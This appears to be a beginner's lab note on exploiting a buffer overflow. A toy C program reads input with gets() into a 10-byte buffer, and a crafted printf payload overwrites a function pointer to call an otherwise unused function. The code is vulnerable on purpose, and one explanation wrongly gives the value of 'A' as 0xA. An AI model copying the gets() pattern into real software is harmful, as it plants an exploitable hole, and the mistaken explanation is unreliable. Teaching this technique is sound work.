Call function
$ cat test.c
#include <stdio.h>
int foo(void){
printf("Foo function called\n");
}
int main(int argc, char *argv[]){
int (*fp)(void);
fp = (int(*)())0x08049176; /* We specify here the foo address function */
fp(); /* Calling the foo function at the address specified */
return 0;
}
We compile the binary:
$ gcc -m32 -fno-stack-protector -ggdb -o0 -no-pie -o test test.c
We check the address of foo function:
$ objdump -d test | grep foo
08049176 <foo>:
Now, we can execute the program. We can see, the function foo is called:
$ ./test
Foo function called
How address works
Buffer overflow
$ cat test.c
#include <stdio.h>
#include <unistd.h>
int foo(void){
printf("Foo function called\n");
}
int main(int argc, char *argv[]){
int (*fp)(void) = 0;
char buffer[10];
gets(buffer);
printf("Value of p: 0x%08x\n", fp);
if(fp)
fp();
return 0;
}
$ python2 -c "print'A'*14" | ./test
Value of p: 0x41414141
Segmentation fault (core dumped)
We can see above, the value of fp is 0xA, which is the value of 'A'. Like that, we can override and call the dead function code foo. Now, we specify our address to call:
$ printf "AAAAAAAAAA\x96\x91\x04\x08" | ./test
Value of p: 0x08049196
Foo function called